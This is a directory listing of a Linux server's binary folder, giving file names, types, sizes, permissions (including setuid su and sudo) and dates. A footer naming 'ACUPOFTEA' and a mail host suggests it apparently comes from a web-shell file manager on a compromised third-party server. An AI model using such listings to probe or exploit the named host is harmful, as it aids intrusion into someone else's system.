1.78 KB
-rwxr-xr-x
2021-02-16 08:00:00
stream
application/x-sharedlib
11.83 KB
-rwxr-xr-x
2025-04-01 01:15:58
strings
application/x-sharedlib
37.43 KB
-rwxr-xr-x
2025-10-07 06:44:04
strip
application/x-sharedlib
240.1 KB
-rwxr-xr-x
2025-10-07 06:44:04
stty
application/x-sharedlib
77.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
su
48.98 KB
-rwsr-x---
2024-04-06 01:02:53
sudo
186.52 KB
---s--x--x
2025-08-26 09:02:52
sudoedit
186.52 KB
---s--x--x
2025-08-26 09:02:52
sudoreplay
115.2 KB
---x--x--x
2025-08-26 09:02:52
sum
application/x-sharedlib
45.61 KB
-rwxr-xr-x
2023-04-01 08:44:39
sw-engine
application/x-executable
20.12 MB
-rwxr-xr-x
1990-01-01 12:00:00
switch_mod_lsapi
text/x-python
30.99 KB
-rwxr-xr-x
2025-10-15 08:45:47
sxpm
application/x-sharedlib
28.81 KB
-rwxr-xr-x
2024-03-30 01:53:16
sync
application/x-sharedlib
37.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
systemctl
application/x-sharedlib
218.45 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-analyze
application/x-sharedlib
1.55 MB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-ask-password
application/x-sharedlib
12.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cat
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cgls
application/x-sharedlib
16.44 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cgtop
application/x-sharedlib
32.88 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-delta
application/x-sharedlib
24.45 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-detect-virt
application/x-sharedlib
11.88 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-escape
application/x-sharedlib
16.01 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-firstboot
application/x-sharedlib
36.98 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-hwdb
application/x-sharedlib
28.91 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-inhibit
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-machine-id-setup
application/x-sharedlib
24.75 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-mount
application/x-sharedlib
52.63 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-notify
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-path
application/x-sharedlib
16.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-resolve
application/x-sharedlib
195.74 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-run
application/x-sharedlib
48.94 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-socket-activate
application/x-sharedlib
24.77 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-stdio-bridge
application/x-sharedlib
16.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-sysusers
application/x-sharedlib
53.05 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-tmpfiles
application/x-sharedlib
73.29 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-tty-ask-password-agent
application/x-sharedlib
32.82 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-umount
application/x-sharedlib
52.63 KB
-rwxr-xr-x
2025-04-22 01:58:57
tabs
application/x-sharedlib
16.55 KB
-rwxr-xr-x
2023-10-14 06:54:49
tac
application/x-sharedlib
41.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
tail
application/x-sharedlib
74.2 KB
-rwxr-xr-x
2023-04-01 08:44:39
tapestat
application/x-sharedlib
41.32 KB
-rwxr-xr-x
2024-07-03 09:57:26
tar
application/x-sharedlib
448.99 KB
-rwxr-xr-x
2025-08-26 08:57:37
taskset
application/x-sharedlib
37.25 KB
-rwxr-xr-x
2024-04-06 01:02:53
tbl
application/x-sharedlib
154.61 KB
-rwxr-xr-x
2019-10-13 02:29:41
tcamgr
application/x-sharedlib
25.13 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcamttest
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcatest
application/x-sharedlib
57.6 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbmgr
application/x-sharedlib
29.1 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbmttest
application/x-sharedlib
53.22 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbtest
application/x-sharedlib
69.56 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcfmgr
application/x-sharedlib
25.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcfmttest
application/x-sharedlib
37.2 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcftest
application/x-sharedlib
45.18 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchmgr
application/x-sharedlib
25.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchmttest
application/x-sharedlib
49.22 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchtest
application/x-sharedlib
57.53 KB
-rwxr-xr-x
2019-10-13 01:22:36
tclsh
application/x-sharedlib
9.04 KB
-rwxr-xr-x
2019-10-12 12:25:32
tclsh8.6
application/x-sharedlib
9.04 KB
-rwxr-xr-x
2019-10-12 12:25:32
tcptraceroute
text/x-shellscript
1.55 KB
-rwxr-xr-x
2025-03-11 07:45:53
tctmgr
application/x-sharedlib
37.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tctmttest
application/x-sharedlib
45.2 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcttest
application/x-sharedlib
57.19 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcucodec
application/x-sharedlib
37.08 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcumttest
application/x-sharedlib
25.16 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcutest
application/x-sharedlib
73.17 KB
-rwxr-xr-x
2019-10-13 01:22:36
teamd
application/x-sharedlib
160.52 KB
-rwxr-xr-x
2023-03-31 08:40:53
teamdctl
application/x-sharedlib
30.37 KB
-rwxr-xr-x
2023-03-31 08:40:53
teamnl
application/x-sharedlib
20.47 KB
-rwxr-xr-x
2023-03-31 08:40:53
tee
application/x-sharedlib
41.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
telnet
application/x-sharedlib
104.88 KB
-rwxr-xr-x
2021-04-09 10:39:55
test
application/x-sharedlib
53.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
tic
application/x-sharedlib
85.31 KB
-rwxr-xr-x
2023-10-14 06:54:49
timedatectl
application/x-sharedlib
36.96 KB
-rwxr-xr-x
2025-04-22 01:58:57
timeout
application/x-sharedlib
41.93 KB
-rwxr-xr-x
2023-04-01 08:44:39
tload
application/x-sharedlib
16.76 KB
-rwxr-xr-x
2023-10-14 08:31:02
tmon
application/x-sharedlib
39.63 KB
-rwxr-xr-x
2025-10-20 08:13:35
tmpwatch
application/x-sharedlib
35.47 KB
-rwxr-xr-x
2019-10-12 11:32:29
toe
application/x-sharedlib
16.45 KB
-rwxr-xr-x
2023-10-14 06:54:49
top
application/x-sharedlib
121.7 KB
-rwxr-xr-x
2023-10-14 08:31:02
touch
application/x-sharedlib
94.02 KB
-rwxr-xr-x
2023-04-01 08:44:39
tput
application/x-sharedlib
24.8 KB
-rwxr-xr-x
2023-10-14 06:54:49
tr
application/x-sharedlib
49.7 KB
-rwxr-xr-x
2023-04-01 08:44:39
tracepath
application/x-sharedlib
20.44 KB
-rwxr-xr-x
2023-10-14 05:19:01
traceroute
application/x-sharedlib
70.97 KB
-rwxr-xr-x
2025-03-11 07:45:53
traceroute6
application/x-sharedlib
70.97 KB
-rwxr-xr-x
2025-03-11 07:45:53
tred
application/x-sharedlib
16.59 KB
-rwxr-xr-x
2024-04-06 12:47:15
troff
application/x-sharedlib
805.02 KB
-rwxr-xr-x
2019-10-13 02:29:41
true
application/x-sharedlib
33.4 KB
-rwxr-xr-x
2023-04-01 08:44:39
truncate
application/x-sharedlib
41.44 KB
-rwxr-xr-x
2023-04-01 08:44:39
trust
application/x-sharedlib
219.55 KB
-rwxr-xr-x
2024-04-06 02:16:19
tset
application/x-sharedlib
24.76 KB
-rwxr-xr-x
2023-10-14 06:54:49
tsort
application/x-sharedlib
41.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
tty
application/x-sharedlib
33.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
turbostat
application/x-sharedlib
130.8 KB
-rwxr-xr-x
2025-10-20 08:13:35
twopi
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
type
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
tzselect
text/x-shellscript
15.01 KB
-rwxr-xr-x
2025-08-05 02:01:06
uapi
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
ucs2any
application/x-sharedlib
24.41 KB
-rwxr-xr-x
2021-10-09 11:42:47
udevadm
application/x-sharedlib
424.59 KB
-rwxr-xr-x
2025-04-22 01:58:57
ul
application/x-sharedlib
20.58 KB
-rwxr-xr-x
2024-04-06 01:02:53
ulimit
text/x-shellscript
30 B
-rwxr-xr-x
2025-08-26 08:48:39
umask
text/x-shellscript
29 B
-rwxr-xr-x
2025-08-26 08:48:39
umount
application/x-sharedlib
32.75 KB
-rwsr-xr-x
2024-04-06 01:02:53
unalias
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
uname
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
uname26
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
unexpand
application/x-sharedlib
45.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
unflatten
application/x-sharedlib
16.63 KB
-rwxr-xr-x
2024-04-06 12:47:15
unicode_start
text/x-shellscript
2.55 KB
-rwxr-xr-x
2023-10-14 08:59:57
unicode_stop
text/x-shellscript
363 B
-rwxr-xr-x
2023-10-14 08:59:56
uniq
application/x-sharedlib
49.72 KB
-rwxr-xr-x
2023-04-01 08:44:39
unlink
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
unlzma
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
unpigz
application/x-sharedlib
125.38 KB
-rwxr-xr-x
2020-06-01 03:15:34
unshare
application/x-sharedlib
24.92 KB
-rwxr-xr-x
2024-04-06 01:02:53
unversioned-python
text/x-shellscript
157 B
-rwxr-xr-x
2025-08-26 09:08:20
unxz
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
unzip
application/x-sharedlib
201.88 KB
-rwxr-xr-x
2025-06-03 02:10:12
unzipsfx
application/x-sharedlib
101.48 KB
-rwxr-xr-x
2025-06-03 02:10:12
update-ca-trust
text/x-shellscript
1.24 KB
-rwxr-xr-x
2024-08-21 07:16:41
update-crypto-policies
text/plain
87 B
-rwxr-xr-x
2023-08-01 03:18:06
update-gtk-immodules
text/x-shellscript
313 B
-rwxr-xr-x
2021-04-06 01:52:28
update-mime-database
application/x-sharedlib
57.22 KB
-rwxr-xr-x
2024-04-06 02:07:10
uptime
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2023-10-14 08:31:02
users
application/x-sharedlib
37.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
usleep
application/x-sharedlib
11.85 KB
-rwxr-xr-x
2022-10-08 11:08:06
utmpdump
application/x-sharedlib
28.66 KB
-rwxr-xr-x
2024-04-06 01:02:53
uuclient
application/x-sharedlib
15.88 KB
-rwxr-xr-x
2025-06-03 02:06:30
uuidgen
application/x-sharedlib
16.37 KB
-rwxr-xr-x
2024-04-06 01:02:53
uuidparse
application/x-sharedlib
37.13 KB
-rwxr-xr-x
2024-04-06 01:02:53
vacuumdb
application/x-sharedlib
78.46 KB
-rwxr-xr-x
2024-02-27 08:25:00
vdir
application/x-sharedlib
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
vi
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
view
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
vim
application/x-sharedlib
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
vimdiff
application/x-sharedlib
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
vimdot
text/x-shellscript
1.06 KB
-rwxr-xr-x
2024-04-06 12:47:05
vimtutor
text/x-shellscript
2.07 KB
-rwxr-xr-x
2025-10-12 12:23:12
vlock
application/x-sharedlib
20.83 KB
-rwxr-xr-x
2023-10-14 09:01:01
vmstat
application/x-sharedlib
36.79 KB
-rwxr-xr-x
2023-10-14 08:31:02
w
application/x-sharedlib
20.75 KB
-rwxr-xr-x
2023-10-14 08:31:02
wait
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
wall
application/x-sharedlib
33.05 KB
-rwxr-xr-x
2024-04-06 01:02:53
watch
application/x-sharedlib
29.19 KB
-rwxr-xr-x
2023-10-14 08:31:02
watchgnupg
application/x-sharedlib
16.43 KB
-rwxr-xr-x
2022-09-13 10:15:05
wc
application/x-sharedlib
49.72 KB
-rwxr-xr-x
2023-04-01 08:44:39
wdctl
application/x-sharedlib
36.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
wget
application/x-sharedlib
521.41 KB
-rwxr-xr-x
2024-08-13 10:22:56
whatis
application/x-sharedlib
54.04 KB
-rwxr-xr-x
2021-10-08 01:04:46
whereis
application/x-sharedlib
29.27 KB
-rwxr-xr-x
2024-04-06 01:02:53
which
application/x-sharedlib
29.38 KB
-rwxr-xr-x
2025-08-26 08:54:45
whiptail
application/x-sharedlib
33.09 KB
-rwxr-xr-x
2020-06-01 02:11:18
who
application/x-sharedlib
53.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
whoami
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
wish
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-16 05:25:14
wish8.6
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-16 05:25:14
wmf2eps
application/x-sharedlib
17.15 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2fig
application/x-sharedlib
17.15 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2gd
application/x-sharedlib
17.14 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2svg
application/x-sharedlib
17.16 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2x
application/x-sharedlib
17.13 KB
-rwxr-xr-x
2019-10-14 03:47:09
word-list-compress
application/x-sharedlib
11.99 KB
-rwxr-xr-x
2022-04-18 03:10:53
write
application/x-sharedlib
20.62 KB
-rwxr-sr-x
2024-04-06 01:02:53
wsrep_sst_backup
text/x-shellscript
2.39 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_common
text/plain
66.86 KB
-rw-r--r--
2025-07-28 03:57:47
wsrep_sst_mariabackup
text/x-shellscript
49.47 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_mysqldump
text/x-shellscript
8.1 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_rsync
text/x-shellscript
29.72 KB
-rwxr-xr-x
2025-07-28 03:57:47
wsrep_sst_rsync_wan
text/x-shellscript
29.72 KB
-rwxr-xr-x
2025-07-28 03:57:47
x86_64
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
x86_64-redhat-linux-c++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
x86_64-redhat-linux-g++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
x86_64-redhat-linux-gcc
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
x86_64-redhat-linux-gcc-8
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
x86_64-redhat-linux-gnu-pkg-config
text/x-shellscript
424 B
-rwxr-xr-x
2019-10-13 06:57:31
x86_energy_perf_policy
application/x-sharedlib
31.95 KB
-rwxr-xr-x
2025-10-20 08:13:35
xargs
application/x-sharedlib
74.11 KB
-rwxr-xr-x
2024-09-24 02:19:34
xgamma
application/x-sharedlib
17.08 KB
-rwxr-xr-x
2019-10-15 01:08:41
xgettext
application/x-sharedlib
283.88 KB
-rwxr-xr-x
2019-11-18 05:17:29
xhost
application/x-sharedlib
17.12 KB
-rwxr-xr-x
2019-10-15 01:08:41
xinput
application/x-sharedlib
63.61 KB
-rwxr-xr-x
2019-10-15 01:08:41
xkill
application/x-sharedlib
17.1 KB
-rwxr-xr-x
2019-10-15 01:08:41
xml2-config
text/x-shellscript
1.71 KB
-rwxr-xr-x
2017-07-23 05:10:06
xmlcatalog
application/x-sharedlib
20.38 KB
-rwxr-xr-x
2025-08-06 01:59:35
xmllint
application/x-sharedlib
73.37 KB
-rwxr-xr-x
2025-08-06 01:59:35
xmlwf
application/x-sharedlib
32.96 KB
-rwxr-xr-x
2025-04-15 07:58:56
xmodmap
application/x-sharedlib
39.98 KB
-rwxr-xr-x
2019-10-15 01:08:41
xorg-x11-fonts-update-dirs
text/x-shellscript
1.29 KB
-rwxr--r--
2021-10-09 11:42:46
xrandr
application/x-sharedlib
65.46 KB
-rwxr-xr-x
2019-10-15 01:08:41
xrdb
application/x-sharedlib
33.98 KB
-rwxr-xr-x
2019-10-15 01:08:41
xrefresh
application/x-sharedlib
17.94 KB
-rwxr-xr-x
2019-10-15 01:08:41
xset
application/x-sharedlib
37.2 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsetpointer
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsetroot
application/x-sharedlib
21.44 KB
-rwxr-xr-x
2019-10-15 01:08:41
xslt-config
text/x-shellscript
2.36 KB
-rwxr-xr-x
2015-05-10 02:11:30
xsltproc
application/x-sharedlib
28.47 KB
-rwxr-xr-x
2025-08-26 08:55:17
xstdcmap
application/x-sharedlib
17.68 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsubpp
text/x-perl
4.96 KB
-rwxr-xr-x
2019-10-13 08:58:35
xxd
application/x-sharedlib
20.54 KB
-rwxr-xr-x
2025-10-12 12:23:15
xz
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzcat
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzcmp
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzdec
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzdiff
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzegrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzfgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2022-06-14 01:03:30
yat2m
application/x-sharedlib
33.34 KB
-rwxr-xr-x
2019-10-12 12:20:46
yes
application/x-sharedlib
33.45 KB
-rwxr-xr-x
2023-04-01 08:44:39
ypdomainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
yum
text/x-python
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
yum-builddep
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-config-manager
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-debug-dump
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-debug-restore
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-groups-manager
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yumdownloader
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
zcat
text/x-shellscript
1.94 KB
-rwxr-xr-x
2022-04-27 05:49:28
zcmp
text/x-shellscript
1.64 KB
-rwxr-xr-x
2022-04-27 05:49:28
zdiff
text/x-shellscript
5.74 KB
-rwxr-xr-x
2022-04-27 05:49:28
zegrep
text/x-shellscript
29 B
-rwxr-xr-x
2022-04-27 05:49:28
zfgrep
text/x-shellscript
29 B
-rwxr-xr-x
2022-04-27 05:49:28
zforce
text/x-shellscript
2.03 KB
-rwxr-xr-x
2022-04-27 05:49:28
zgrep
text/x-shellscript
7.4 KB
-rwxr-xr-x
2022-04-27 05:49:28
zip
application/x-sharedlib
229 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipcloak
application/x-sharedlib
102.91 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipdetails
text/x-perl
49.39 KB
-rwxr-xr-x
2019-10-13 09:48:20
zipgrep
text/x-shellscript
2.88 KB
-rwxr-xr-x
2008-10-10 05:40:36
zipinfo
application/x-sharedlib
201.88 KB
-rwxr-xr-x
2025-06-03 02:10:12
zipnote
application/x-sharedlib
97.76 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipsplit
application/x-sharedlib
97.76 KB
-rwxr-xr-x
2019-10-11 01:11:04
zless
text/x-shellscript
2.15 KB
-rwxr-xr-x
2022-04-27 05:49:28
zmore
text/x-shellscript
1.8 KB
-rwxr-xr-x
2022-04-27 05:49:28
znew
text/x-shellscript
4.45 KB
-rwxr-xr-x
2022-04-27 05:49:28
zsoelim
application/x-sharedlib
42.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
~ ACUPOFTEA - mail.ontime-ae.com